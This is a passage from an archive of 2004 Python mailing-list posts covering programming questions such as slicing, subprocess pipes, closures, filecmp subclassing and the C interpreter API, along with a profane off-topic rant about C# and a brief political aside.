very odd that the step of -1 in effect changes the normal meaning or position of the slice indices, by first reversing the string. I'm guessing that this is necessary because any other interpretation leads to even worse situations than the confusion this inspires, but perhaps that's not true. I would have found either 'Apl' or 'eH' more intuitive... -Peter From Moiz.Golawala at ge.com Wed Sep 8 16:34:14 2004 From: Moiz.Golawala at ge.com (Golawala, Moiz M (GE Infrastructure)) Date: Wed, 8 Sep 2004 16:34:14 -0400 Subject: Variable passing between modules. Message-ID: Hi All, I want to pass a value between 2 modules. Both the modules are scripts (no classes involved). Does anyone know how I can do that. For eg: in module1 if __name__ == '__main__': someVar = 'hello' import module2 in module 2 # here I would like to use someVar print someVar Thanks, Moiz Golawala GE Infrastructure, Security Software Engineer Enterprise Solutions T 561 994 5972 F 561 994 6572 E moiz.golawala at ge.com www.gesecurity.com 791 Park of Commerce Blvd., Suite 100 Boca Raton, FL, 33487, U.S.A. GE Security, Inc. From ark at acm.org Sun Sep 19 01:26:57 2004 From: ark at acm.org (Andrew Koenig) Date: Sun, 19 Sep 2004 05:26:57 GMT Subject: need help defining Constant memory requirement References: Message-ID: "Jani Yusef" wrote in message news:d3be1825.0409182100.612a5dcb at posting.google.com... >I have a HW problem stated as shown at the top of the solution. The > thing is is that I am not 100% sure wtf constant memory means. Well, I > think I do but I am confused. Does my solution use contant memory in > terms of the length of the list i? If so why not and how could I > change it to be so? I am sure the solution is O(n) since the list must > only iterated once and the dictionary is O(1), correct? > Thanks for the help!! Constant memory means the same as O(1) memory -- in other words, that it is possible to place an upper bound on the total amount of memory used (aside from the input) regardless of how large the input is. > #You are given a sequence S of n numbers whose values range from 1 to > n-1. > #One of these numbers repeats itself once in the sequence. > #(Examples: {1 2 3 4 5 6 3}, {4 2 1 2 3 6 5}). > #Write a function that finds this repeating number using a constant > #amount of memory and linear time. > import sys > i=[1,3,4,5,3] > tally={} > for a in i: > if tally.has_key(a): > print "repeated number is "+str(a) > sys.exit(0) > else: > tally[a]=1 > print "no repeat found" This program doesn't use constant memory, because tally might conceivably have as many as n-1 elements, where n is the number of elements in the input. Therefore the total amount of space needed is O(n), not O(1). One question you might ask: Is the entire input sequence available at once? Is it permissible to modify its elements? From tjfreeman at gmail.com Sun Sep 26 11:46:58 2004 From: tjfreeman at gmail.com (Tim Freeman) Date: Sun, 26 Sep 2004 10:46:58 -0500 Subject: fledgling Python online forum In-Reply-To: <952637f2.0409252025.77a1f342@posting.google.com> References: <952637f2.0409252025.77a1f342@posting.google.com> Message-ID: You should check out the free Dynamic DNS services such as at dyndns.org (they change as your IP changes). Tim On 25 Sep 2004 21:25:03 -0700, sheldonplankton at yahoo.com wrote: > It is now at ... > http://66.32.178.235/ > ... hopefully I will have the domain name issue worked out soon. > > > -- > http://mail.python.org/mailman/listinfo/python-announce-list > > Support the Python Software Foundation: > http://www.python.org/psf/donations.html > From tim.peters at gmail.com Mon Sep 20 00:51:46 2004 From: tim.peters at gmail.com (Tim Peters) Date: Mon, 20 Sep 2004 00:51:46 -0400 Subject: Math errors in python In-Reply-To: <7xwtyqvyh5.fsf@ruckus.brouhaha.com> References: <70b3d.1822$uz1.747@trndny03> <7xfz5ein0h.fsf@ruckus.brouhaha.com> <1gkdk3g.3ivp7amnqsw1N%aleaxit@yahoo.com> <7xwtyqvyh5.fsf@ruckus.brouhaha.com> Message-ID: <1f7befae04091921513214a1a9@mail.gmail.com> [Paul Rubin] > I don't know that it's generally tractable to do exact computation on > constructive reals. How do you implement comparison (<, >, ==)? Equality of constructive reals is undecidable. In practice, CR packages allow specifying a "number of digits of evidence " parameter N, so that equality is taken to mean "provably don't differ by more than a unit in the N'th digit". From bockman at virgilio.it Sat Sep 11 05:08:38 2004 From: bockman at virgilio.it (Francesco Bochicchio) Date: Sat, 11 Sep 2004 09:08:38 GMT Subject: python and bit shifts and byte order, oh my! References: <9490d.126$KA1.1800@news1.mts.net> Message-ID: On Thu, 09 Sep 2004 22:21:42 -0500, Reid Nichol wrote: > I played with bit shifts on my PC and tried the same thing on a Mac OS X > machine. They produced the same results, so I would assume that the way > the bits and how they are interpreted are as in this link: > > http://www.khakipants.org/archives/2003/03/bitlevel_input_and_output.html > > At least in memory while the interpreter is running. > > It's my first attempt down there and I need to know. So, is this how > Python works at the bit level? > I had similar problems, not for reading/write binary files but to pack/unpack network binary messages, with bitfields in it, between big-endian and little-endian computers. I ended up writing a 'bitstring' class that is loaded with a bunch of bytes ( e.g. the output of a socket.recv () or a file.read() ) and is able to read/set any arbitrary group of bits in it in a portable way, which is not hard, since bits operators works on 'logical intergers' and are independent of byte order, as others pointed out (I believe this is also true i C and other languages). I'm not showing my code, because since then I discovered that in the Net there are better implementation than mine :-). Just google for "python bit manipulation" and you will find examples like this: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/113799 which should work with arbitrary length bitstrings, since bit operators work on long integers, also :-) From martin at v.loewis.de Fri Sep 17 14:41:31 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Fri, 17 Sep 2004 20:41:31 +0200 Subject: Compiling Python 2-3.4 on Tru64 UNIX V4.0F In-Reply-To: <3035f851.0409170648.5e68f24e@posting.google.com> References: <413dffc2$0$13052$9b622d9e@news.freenet.de> <3035f851.0409090830.6bf21074@posting.google.com> <4140A4B1.4000204@v.loewis.de> <3035f851.0409170648.5e68f24e@posting.google.com> Message-ID: <414b2fd9$0$6335$9b622d9e@news.freenet.de> Unixtrekkor wrote: > I made it past the compilation errors by editing pyconfig.h.in. The > setgrp and getgrp module settings were set to undef. Now I see the > following errors: > > rm -r /lgyr/library/lib > ar cr /lgyr/library/lib Modules/getbuildinfo.o > ar: Error: /lgyr/library/lib not in archive format > *** Exit 1 > Stop > > Does anyone know what library should be used? It appears that for some reason, LIBRARY is set to /lgyr/library/lib in your Makefile. How did you manage that to happen? Where does the /lgyr string come from? LIBRARY should be "libpython23.a" Regards, Martin From aleaxit at yahoo.com Wed Sep 29 02:41:43 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 29 Sep 2004 08:41:43 +0200 Subject: Unexpected Python Behavior References: <4e4a11f8.0409232355.6ba0468d@posting.google.com> <2srcl0poenac7hl39gmbmgvj4e0sp6fp38@4ax.com> <1gkpsyw.16zk21c1hoc4taN%aleaxit@yahoo.com> <1gku5es.10velnbpabcqeN%aleaxit@yahoo.com> Message-ID: <1gkv76u.1py2if25anfoyN%aleaxit@yahoo.com> Bengt Richter wrote: ... > >Basically, the idea of having f use f.cache depends on the unstated > >assumption that global name 'f' will forevermore refer to the same > >object it used to refer to at the time f.cache was initialized and the ... > Thanks for highlighting this. It is one of my pet peeves that there is > no local "self" reference available for a function or class etc., and > no way (other than one-at-a-time method-self binding) to get a def-time > expression value bound to a locally visible name. Maybe we could have The reason for this is that function attributes are not meant to make functions into kinda-classes-though-not-quite, so there's no special interest in having a function refer to its own attributes. Rather, function attributes were introduced (not all that long ago) to let metainformation about a function (used by frameworks such as parsers) be stored more handily than into the docstring (which is what some such frameworks used to abuse for the purpose). > a triple star in the arg list to delimit syntax and effect like defaults > but which don't become part of the arg count? E.g., > > def f(x, *** cache={}, pi = __import__('math').pi): > try: return cache[x] I'm sure that if these semantics were accepted, the syntax for them would inevitably be a decorator: @ initialized_locals(cache={}, pi=__import__('math').pi) def f(x): try: return cache[x] ...etc... If it was ok to make these "initialized locals" non-rebindable, I think this decorator could _almost_ be implemented today with a closure like: def initialized_locals(**kwds): import new def wrap_f(f): _c = f.func_code _c = new.code(_c.co_argcount, _c.co_nlocals, _c.co_stacksize, _c.co_flags, _c.co_code, _c.co_consts, _c.co_names, _c.co_varnames, _c.co_filename, _c.co_name, _c.co_firstlineno, _c.co_lnotab, tuple(kwds), _c.co_cellvars) return new.function(_c, f.func_globals, f.func_name, f.func_defaults, tuple(kwds.itervalues())) return wrap_f @ initialized_locals(a=23, b=45) def f(c, d=67): print a, b, c, d f(41) The _almost_ is due to the "tuple(kwds.itervalues())" not being QUITE right -- it should be something like map(_make_cell, kwds.itervalues()) for a hypothetical factory '_make_cell' that's able to make new cell objects. Unfortunately, the factory is hypothetical because I believe there is no such thing as a Python-accessible way to make a cell: cells are only made in ceval.c, specifically PyEval_EvalCodeEx. Maybe (no time to check this up right now...), all that we need to enable this particular "extreme sport" is a small C-coded extension which exposes a _make_cell function to Python. It seems to me that every other piece is already in place. If so, then we could make this available for experimentation without it needing to get into the Python core immediately. Another possibility would be to try and grasp the _source_ for the function being wrapped, wrap it textually into the outer function needed for the closure, and do an 'exec' on the resulting string to make the new function object; however, that one looks definitely dirty to me, while exposing the ability to make cells doesn't look any blacker, in black-magic terms, than existing abilities such as those offered by new.code... Finally, a pragmatic compromise might be to use 'exec' on a tiny constructed closure just to build and hijack its f.func_closure, a tuple of cells. This looks both dirty and black magic, so it might impartially make everybody equally unhappy, but with a couple hours of experimentation it might already fall into place;-). IOW: once again, like in another thread going on right now, I'd advise to focus on the implementation -- syntax can wait. If the implementation is easy to explain, it could be a good thing... > >> When you need to mess with the those vars from the "outside" then > >> it's clear you're not looking for a static; probably you're not > >> even looking for a function as the interaction with the "state" is > >> getting too important. IMO in these cases it's *way* better to > >> use a class instead (may be one implementing the call interface). > > > >And go to the huge trouble of simulating method-binding?! Puh-LEEZE. > >Using callable classes in lieu of a class's ordinary methods, when such > >methods with perfectly normal Python semantics will do, is just plain > >silly -- looking for complexity where no need for it exists. > > > I'm not sure why you didn't mention the alternative of not simulating > but actually using the mechanism of method binding, e.g., Because it's just as unusable in the context we were discussing, i.e.: class base: def f(self, x, cache={}): ... class deriv(base): def f(self, x, cache={}): ... the f's one and only "currying [[prebinding]] slot" is needed for the appropriate self object(s), can't be "wasted" on the cache dict(s). Alex From hercules.rockefeller at springfield.??.us Mon Sep 27 15:27:56 2004 From: hercules.rockefeller at springfield.??.us (Rembrandt Q Einstein) Date: Mon, 27 Sep 2004 15:27:56 -0400 Subject: Trouble with popen2 In-Reply-To: References: <0DZ5d.6$Za.5@llslave.llan.ll.mit.edu> Message-ID: <0RZ5d.8$Za.5@llslave.llan.ll.mit.edu> Rembrandt Q Einstein wrote: > Rembrandt Q Einstein wrote: > >> I am running an external command and I need to know a) when it is done >> and b) what it wrote to both stdout and stderr. After a little >> searching, I found the popen2 module and used the Popen3 class. I'm >> having trouble with it hanging, though. >> >> Here is a very well put (by someone else) posting that describes some >> background: >> >> http://mail.python.org/pipermail/python-list/2004-July/230837.html >> >> I came to a similar conclusion as that poster and his workaround >> (independently discovered by me) does do the job he requires. >> However, I need to also read stderr, so I made this sample writer and >> runner: >> >> ------- >> #!/usr/bin/python >> >> import sys >> >> for line in range(0, int(sys.argv[1])): >> print "X" * 120 >> >> print >>sys.stderr, "hi" >> ------- >> #!/usr/bin/python >> >> import popen2 >> >> f = popen2.Popen3("./writer.py 50000", True) >> outs = [] >> errs = [] >> while (f.poll() == -1): >> errs += f.childerr.readlines() >> outs += f.fromchild.readlines() >> ----- >> >> >> This hangs in the childerr.readlines(). Is it blocking? If so, why? >> In any case, how can I be sure to read ALL data from BOTH stderr and >> stdout and not be in danger of hanging? >> >> >> PS: I just found that if I swap the order of the readlines() >> statements, it works. But I don't want to use that until I understand >> why. I suspect it's a race condition and I don't want to rely on that. > > > It's possible that when I have child.readlines() first, it consumes all > 50000 output lines and then err.readlines() grabs the "hi" and it just > exists. When I have them the other way, err.readlines() blocks (I > thought readlines() was non-blocking, though) and it just hangs. > > My real external program isn't nice enough to order the output like > that, so here's a more realistic writer: > > ------------- > #!/usr/bin/python > > import sys > import math > > for i in range(0, int(sys.argv[1])): > if math.fmod(i, 100) == 0: > print >>sys.stderr, "hi" > print >>sys.stdout, "X" * 120 > ---- > > The challenge is to write a program that will run this one in a > subprocess and read all of both stderr and stdout. Ah--despite my new nick, I am an idiot. I should just use select() on fromchild and childerr. Something like this: while f.poll() == -1: select([], [f.fromchild, f.childerr],[], 0) blah However, I think I might still miss some data this way. From jos_usenet at theorganization.net Mon Sep 20 11:25:40 2004 From: jos_usenet at theorganization.net (Jos Yule) Date: Mon, 20 Sep 2004 11:25:40 -0400 Subject: Network pass-through/proxy server questions In-Reply-To: References: <%Bh3d.3530$bL1.67148@news20.bellglobal.com> Message-ID: Istvan Albert wrote: > Jos Yule wrote: > >> does not accept incoming socket connections, i'd like to use a small >> Python server to act as the socket proxy (i think that's the right term) > > > Check this page for python proxies, you might find something you can > build upon > > http://xhaus.com/alan/python/proxies.html > > Istvan. Thanks for the pointer, i hope i can grok it well enough to figure out how to move from HTTP style connections to longer term chat style connections! j From aleaxit at yahoo.com Tue Sep 7 07:30:48 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 7 Sep 2004 13:30:48 +0200 Subject: How to actually write a program? References: <413d98f8$0$190$edfadb0f@dread12.news.tele.dk> Message-ID: <1gjqw0p.q6m6i1yiek0zN%aleaxit@yahoo.com> Max M wrote: > Anna Martelli Ravenscroft wrote: > > > One other tip: add lots of print statements. Print statements are your > > friend. They can help you figure out what it's *actually* doing, (and more > > importantly sometimes: what it's *NOT* doing) rather than just what you > > hope it might be doing. For example, when you start on defining funcx(a), > > you could start by having it just print what you gave it for arguments. > > You can always comment out or remove the print statements afterwards. > > If you intend to use print that way it might be more efficient to write > a special test print function. > > > def tp(text): > TEST = 1 > if TEST: > print text > > > That way you will only have to set TEST = 0 to avoid printing debug > print statements. If you went that route, you would be well advised to make tp more general: def tp(*args): TEST = 1 for arg in args: print arg, print or possibly even more, including a **kwds which would let you drive such aspects as suppressing newlines, rerouting output to another file object, etc, etc. In practice, I find that I disable and re-enable my print statements much more selectively than such a function would support, and that when all is said and done plain old print and adding/removing comment signs as needed works best for me. Alex From peter at engcorp.com Wed Sep 15 08:16:40 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 15 Sep 2004 08:16:40 -0400 Subject: The pythonic approach In-Reply-To: <0dS1d.52$AA4.38@read3.inet.fi> References: <414656ab$0$4777$a729d347@news.telepac.pt> <0dS1d.52$AA4.38@read3.inet.fi> Message-ID: Timo Virkkala wrote: > def thisReallyWorks(x): > if x == "6$": > return "$10 000" > else: > return x > > # or maybe > > investments = {"6$": "$10 000"} > def thisReallyWorks(x): > return investments.get(x, x) I really hope this is a contrived example, because if I ever saw something like this in real code I'd barf. Nevertheless, solely for the particular example shown above, I'd have to say (a) is much better. The (b) approach is obscure and indirect. One has to pause and realize that the .get(x, x) thing means that if x doesn't exist as a key in the dictionary, it will instead be returned as the actual result. Using x as the input, the lookup key, and the default result makes the whole thing look bizarre and ill-conceived. (My gut tells me that if this were something that was required in real code, it would actually be using an existing dictionary (not one created with a single entry just before the function) and the best code would be an inline .get() rather than a function call, and that x might not even be its own default, but I can't imagine what real code this corresponds to so that's all I have to say about that. :-) -Peter From kfast at poczta.onet.pl Sun Sep 12 16:31:00 2004 From: kfast at poczta.onet.pl (Jakub Fast) Date: Sun, 12 Sep 2004 22:31:00 +0200 Subject: Question: tools for business apps development In-Reply-To: <864d370904091004546fd7cc14@mail.gmail.com> References: <864d370904090606465938fea5@mail.gmail.com> <2qavr3Ft7dgdU1@uni-berlin.de> <2qb2tmFt7dgdU2@uni-berlin.de> <10k2rng56uh2f64@corp.supernews.com> <864d370904091004546fd7cc14@mail.gmail.com> Message-ID: <4144B204.5090402@poczta.onet.pl> > worst ones were the blinking and the the "running text " (I forgot the > correct name for it now). marquee. argh. From julioperezsosa at yahoo.com Sun Sep 19 17:58:44 2004 From: julioperezsosa at yahoo.com (julio) Date: Sun, 19 Sep 2004 17:58:44 -0400 Subject: python is going to die! =( Message-ID: Sorry but there is no another way, c# .net and mono are going to rip python, not because python is a bad lenguage, but because is to darn old and it refuses to innovate things, to fix wrong things, just because retarded backwards compatibility and because the python comunity and developers refuses to consider tools as being almost as important as the language itself. What does c# .net has that python doesnt ? (significant features) -- tools,tools,tools : have people that likes python ever used an ide? i mean a good ide, the one that saves you a lot of time, and makes you productive. looks like they havent, they think new people is willing to practice emacs for 6 months before even thinking about being productive, not to mention you have to learn 20 years old list, and low level c stuff to have fully advantage. Those guys are realy happy with their stuff that totaly, completly refuses to try a new tool, a new tool that 'is' better, like say, an ide??. Then we have the , you just need a text editor. This is realy amazing, tecnology improves, people have to change their way of thinking, i realy cant count the number of text editors avaiable for python, with basicaly just syntax highlighting.For example, idle : idle is just a text editor with syntax color,nothing else, then you see that half of buttons are so fucking retarded things that you never need,indentation stuff, replace tabs and all crap that you never realy need, the class browser and path browser were in the right way, before they got abandoned with just the most basic low functionality. No help in real programing? why? why do i need to press a retarded button to indent-deindent reindent stuff but i dont need help with integrated help system , code completion , source assistant , a freaking decent calltips support, etc ? It realy makes no sense , no sense at all. Why do these people keep reinventing text editors again and again and again to just add some retarded functionality that noone ever needs? pycrust , drpython, leo , idle , eclipse plugins(py editors with color) they all love to reinvent the wheel instead of trying to work together on some common project to do something usefull, boy if i want a text editor with syntax color i just use vim,or kate or something. For the C # Side there IS : sharp develop, wich is going to be ported to linux and mac, and it is even better than vstudio! is open source . monodevelop , which is a little inestable but very very usable , and has real features!! proyect browsing , full calltips ,code completion,source help, doc help system , you know , productivity features. -- C # is almost perfetly designed, python is very well designed but it has some crap that obscurize it and is not going to be removed because of the damn backwards compatibility thing, C # has all the advantages there is new ,it has learned from other languages mistakes. Python must break backward compatibility to be at the same level of play. At least python has just a few problems in this area compared to java,which is 50% crap , just to hold backwards compatibility. -- C # is easy to use,fast apps coding (as python) but!! it has all the advantages of a compiled language , like less bugs concerning silly types mistakes , ides and tools can take much much more advantage of static typing , it is much much much faster , and finally is much more readable than python since i dont have to be guessing in the woods to know what type of value a function return , or what types are the functions argument or WTF does 'return MOM' means? -- C # is killing python, first the gnome guys dont know what to choose for their core system development , if mono-C # ? or java ? the only reason C # hasnt being choosen is because of legal issues, and java? well it realy sucks so no surprise , but is considered just because eclipse wich is the most kick ass ide ever. AND they dont even consider python for a high level language to choose!! Look at source-forge,(around) python : 3000 proyects , C # 1500 proyects and C# is much younger than python, not to mention mono is new!! 2 times more C # proyects are started than python proyects by month, so very soon C# is going to completly replace python in their areas. Not to mention that C# proyects are generaly bigger, compared to small command line tools, python proyects. I think is a fact, reality , there is just no way python is going to survive, i would be happy if someone knows or see something i dont , because i realy like python, but : C # which has all the m$ licenses and crap involved is so superior to python in so many ways, its not even funny,and C# has serius tools, ides ,etc. Look at nhibernate,nunit,njasper,the super sharp-develop ,monodevelop,etc. BTW wingware has a very nice ide, but close sourced and at a price of 200$ for os is ridiculous,and their personal edition is pure crap, no code-assistant ? lol. Is there a posibility python survives 2 years more at least? Btw , nice quotes on python site : "Python has been an important part of Google since the beginning, and remains so as the system grows and evolves. Today dozens of Google engineers use Python, and we're looking for more people with skills in this language." said Peter Norvig, director of search quality at Google, Inc. But the google code jam, the one google searchs for new hackers to join their lines is only for c# , java , c++ , nice irony , lie,lie. From http Wed Sep 15 20:18:25 2004 From: http (Paul Rubin) Date: 15 Sep 2004 17:18:25 -0700 Subject: Incrementing a string References: Message-ID: <7xfz5jnk1a.fsf@ruckus.brouhaha.com> John Velman writes: > But it looks like going beyond z to aa and so on is (relatively) > complicated. > > In truth, it seems unlikely that I would ever go beyond z in using my > application, and certainly not beyond zz which wouldn't be too hard to > program. But I hate to build in limitations no matter how reasonable. Python doesn't have that feature built in, so you have to think about how Perl really does it, and implement something similar in Python. Yes, it will be a little bit complicated, but the Perl implementers had to deal with the same complexity, and it's a decent exercise for you to do the same. From skip at pobox.com Thu Sep 30 10:50:40 2004 From: skip at pobox.com (Skip Montanaro) Date: Thu, 30 Sep 2004 09:50:40 -0500 Subject: multiple instance on Unix In-Reply-To: <883EE278-12EB-11D9-B04E-0003938543A0@orthogonsystems.com> References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com> <415AF802.1080909@bellsouth.net> <415C05E5.5040108@hotmail.com> <883EE278-12EB-11D9-B04E-0003938543A0@orthogonsystems.com> Message-ID: <16732.7488.640904.97932@montanaro.dyndns.org> Nigel> This all seems an unusual case of batteries not included. No, it's just that the batteries are included in procmail in this case in the form of its lock facility. Use the right tool, Luke... Skip From albalmer at att.net Fri Sep 24 11:42:33 2004 From: albalmer at att.net (Alan Balmer) Date: Fri, 24 Sep 2004 08:42:33 -0700 Subject: Xah Lee's Unixism References: <10kvqf4sr02fia0@corp.supernews.com> Message-ID: On Tue, 21 Sep 2004 08:44:20 -0000, SM Ryan wrote: A classic resort to name-calling, indicating that (1) he knows he's wrong, (2) he's not worth corresponding with. -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From albalmer at att.net Fri Sep 10 11:26:15 2004 From: albalmer at att.net (Alan Balmer) Date: Fri, 10 Sep 2004 08:26:15 -0700 Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140688e$0$6912$61fed72c@news.rcn.com> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> Message-ID: <1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com> On Fri, 10 Sep 2004 00:13:56 +0200, Morten Reistad wrote: >>However Bush is demonstrably poor. He ignored the warnings from >>the CIA, FBI, outgoing Clinton administration about imminent >>attacks. He was focused on attacking Saddam and Iraq from the >>first, and perverted 9/11 into that at the earliest opportunity. >>He has offended many more than most of his predecessors. I will >>say that he seems to have learned the names of some foreign >>leaders since being elected. > >Bush has had an agenda all right; but I don't quite get what it is. > And, of course, entertaining the possibility that his agenda is just what he says it is, is completely out of the question. -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From m.hadfield at niwa.co.nz Wed Sep 8 19:01:52 2004 From: m.hadfield at niwa.co.nz (Mark Hadfield) Date: Thu, 09 Sep 2004 11:01:52 +1200 Subject: popen pipes fail when cwd is a UNC path In-Reply-To: References: Message-ID: Tim Black wrote: > In my recent experience, popen os pipes always fail when cwd is a UNC > path. Can anyone shed any light on this? Although I've seen lots of > UNC path-related problems in this newsgroup, I've not been able to > find anything specifically about os pipes and UNC paths. It's a problem with the Windows command interpreter (cmd.exe on the NT family) which gets invoked by popen. To demonstrate this. try cd'ing to a UNC path. You will get a message like '\\foo\bar' is an invalid current directory path. UNC paths are not supported. -- Mark Hadfield "Ka puwaha te tai nei, Hoea tatou" m.hadfield at niwa.co.nz National Institute for Water and Atmospheric Research (NIWA) From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Wed Sep 22 13:17:23 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Wed, 22 Sep 2004 18:17:23 +0100 Subject: for_some(), for_all()? In-Reply-To: References: Message-ID: aurora wrote: > However I bet reduce() does not exploit the short circuit logic. Also > it is a little clumsy to create another list to pass into reduce. Is > there some equivalent of > > for_some(test, lst) > or > for_all(test, lst)? There are some recipes for any() and all() in the itertools documents that do what you want: http://www.python.org/doc/current/lib/itertools-example.html >>> import itertools, timeit, operator >>> def any(seq, pred=bool): ... "Returns True if pred(x) is True at least one element in the iterable" ... return True in imap(pred, seq) ... >>> def equals_0(x): return x == 0 ... >>> items = range(500000) >>> timeit.Timer("reduce(operator.__or__, [equals_0(x) for x in items])", setup="from __main__ import operator, equals_0, items").timeit(3) 4.1040000915527344 >>> #timeit.Timer("any(items, equals_0)", setup="from __main__ import itertools, any, equals_0, items").timeit(3) ... >>> timeit.Timer("any(items, equals_0)", setup="from __main__ import itertools, any, equals_0, items").timeit(3) # short-circuit 0.0 >>> del items[0] >>> timeit.Timer("any(items, equals_0)", setup="from __main__ import itertools, any, equals_0, items").timeit(3) # no short-circuit, still faster 1.6640000343322754 -- Michael Hoffman From ialbert at mailblocks.com Thu Sep 16 14:58:22 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Thu, 16 Sep 2004 14:58:22 -0400 Subject: How to go about developing in zope In-Reply-To: <4c900ea0.0409160754.2158e732@posting.google.com> References: <4c900ea0.0409160754.2158e732@posting.google.com> Message-ID: <6P-dnYmYhq_Tf9TcRVn-gg@giganews.com> john wrote: > Is zope suitable for such kind of application? yes. > What is the best way to develop such kinda application in zope? Start with a simple site then keep reimplementing with the new techniques that you learn. Istvan. From robin.siebler at palmsource.com Mon Sep 13 23:10:13 2004 From: robin.siebler at palmsource.com (Robin Siebler) Date: 13 Sep 2004 20:10:13 -0700 Subject: My first attempt at subclassing....Gahh! Message-ID: <95c29a5e.0409131910.5c916122@posting.google.com> I want to use filecmp.dircmp, but it only prints to the screen, there is no way to capture the output. So I thought that I should simply be able to subclass it to return a list (Danger! Danger, Will! Simple and Subclass should never be used in the same sentence!). However, my first attempt (pathetic as it may be), results in an error that I don't understand. Obviously, I'm doing something wrong, but what? I'm using Python 2.2.3 and the error I get is 'TypeError: cannot create 'instance method' instances'. import filecmp class dircmp(filecmp.dircmp): def my_report_partial_closure(self): output= [] self.report() for x in self.subdirs.keys(): output.append(self.subdirs[x].report()) return output class report(filecmp.dircmp.report): def my_report(self): # Print a report on the differences between a and b # Output format is purposely lousy output = [] output.append('diff', self.left, self.right) if self.left_only: self.left_only.sort() output.append('Only in', self.left, ':', self.left_only) if self.right_only: self.right_only.sort() output.append('Only in', self.right, ':', self.right_only) if self.same_files: self.same_files.sort() output.append('Identical files :', self.same_files) if self.diff_files: self.diff_files.sort() output.append('Differing files :', self.diff_files) if self.funny_files: self.funny_files.sort() output.append('Trouble with common files :', self.funny_files) if self.common_dirs: self.common_dirs.sort() output.append('Common subdirectories :', self.common_dirs) if self.common_funny: self.common_funny.sort() output.append('Common funny cases :', self.common_funny) From martin at v.loewis.de Thu Sep 2 13:59:08 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Thu, 02 Sep 2004 19:59:08 +0200 Subject: compiling to python byte codes In-Reply-To: <6f402501.0409020321.44fd443@posting.google.com> References: <4136b2b5$1@news.unimelb.edu.au> <4136bbf3$0$197$9b622d9e@news.freenet.de> <6f402501.0409020321.44fd443@posting.google.com> Message-ID: <41375f6a$0$13076$9b622d9e@news.freenet.de> Michael Foord wrote: > But that still doesn't answer the OPs question which is about writing > code in another language to generate python bytecode.... I did. I told him about the compile() function, and indeed, compile("2+4","","eval") generates Python bytecode. > Is python bytecode *that* different to Java bytecode (not in detail > but in concept ?). Yes. Java bytecode is typed; Python bytecode is not. > There's no reason why another compiler couldn't > emit python bytecode to run on the 'python virtual machine' ? It is certainly possible. Indeed, the Python compiler does generate Python bytecode from source code, so it must be possible :-) Regards, Martin From wiedeman at gmx.net Mon Sep 20 09:43:49 2004 From: wiedeman at gmx.net (Christoph Wiedemann) Date: Mon, 20 Sep 2004 15:43:49 +0200 (MEST) Subject: Py_NewInterpreter and PyGILState API Message-ID: <15290.1095687829@www27.gmx.net> Hello, i have some trouble to understand the Py_NewInterpreter API function. The docs state, that Py_NewInterpreter returns a new PyThreadState instance. One can switch between interpreters by swapping thread states. I've used that, and it worked well, until i decided to use the PyGILState_* API functions. After digging a while, i found, that these functions assume, that there is only one PyThreadState instance per thread. However, this doesn't play nice with using the Py_NewInterpreter function, which always returns a new thread state (as i understand it), even if used in a single-threaded application. I'm wondering, why Py_NewInterpreter does actually return a PyThreadState pointer instead of a PyInterpreterSate pointer? My current solution uses the following code to swap between interpreters: // i hold an 'is' variable for each interpreter i need: PyInterpreterState *is = Py_NewInterpreter()->interp; // to switch to a specific interpreter: PyGILState_STATE gilState = PyGILState_Ensure(); PyThreadState_Get()->interp = is; // use python API PyGILState_Release(gilState); This code seems to work fine, but one issue remains: I can't use PyGILState_STATE gilState = PyGILState_Ensure(); Py_EndInterpreter(PyThreadState_Get()); PyGILState_Release(gilState); I get the following error: "Fatal Python error: Py_EndInterpreter: not the last thread". I guess this is due to the fact that i throw away the PyThreadState returned by Py_NewInterpreter ? Thanks in advance, Christoph From maxm at mxm.dk Tue Sep 14 01:36:02 2004 From: maxm at mxm.dk (Max M) Date: Tue, 14 Sep 2004 07:36:02 +0200 Subject: PIL - setting the width of lines in ImageDraw In-Reply-To: References: <4145fc21$0$273$edfadb0f@dread12.news.tele.dk> Message-ID: <414682eb$0$301$edfadb0f@dread12.news.tele.dk> Erik Heneryd wrote: > Larry Bates wrote: > >> There's nothing wrong with "slanted" rectangles. >> In PIL you just define upper left and lower right >> coordinates of the rectangle in pixels. That's >> what a thick line would do anyway. > > Really? Didn't know that. Please show me how. The problem is that you have to calculate the rectangles corner positions yourself. Which make it a bit less trivial than drawing lines. If you want a fat line from ((0,0),(10,10)) you would need to calculate where the corners should be yourself. regards Max M From bokr at oz.net Wed Sep 22 16:22:31 2004 From: bokr at oz.net (Bengt Richter) Date: 22 Sep 2004 20:22:31 GMT Subject: How to count lines in a text file ? References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> <414eda06$0$26379$ba624c82@nntp02.dk.telia.net> <1gkf46r.1xrytm21mny6pfN%aleaxit@yahoo.com> <9Gk4d.400$zG1.260@newsread3.news.pas.earthlink.net> Message-ID: On Wed, 22 Sep 2004 19:48:21 GMT, Andrew Dalke wrote: >Bengt Richter wrote: >> or, if you _are_ willing to read in the whole file, >> >> open('text.txt').read().count('\n') > >Except the last line might not have a terminal newline. > I _knew_ I should have mentioned that ;-) Regards, Bengt Richter From guess at My.email.address.scum.com Thu Sep 9 16:58:14 2004 From: guess at My.email.address.scum.com (Anon) Date: Thu, 9 Sep 2004 21:58:14 +0100 Subject: found bakups of code I never asked for --- References: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 "Terry Reedy" wrote in message news:mailman.3118.1094760162.5135.python-list at python.org... : : "Anon" wrote in message : news:chq9fu$9ii$1 at newsg3.svr.pol.co.uk... : > : > -----BEGIN PGP SIGNED MESSAGE----- : > Hash: SHA1 : > : > 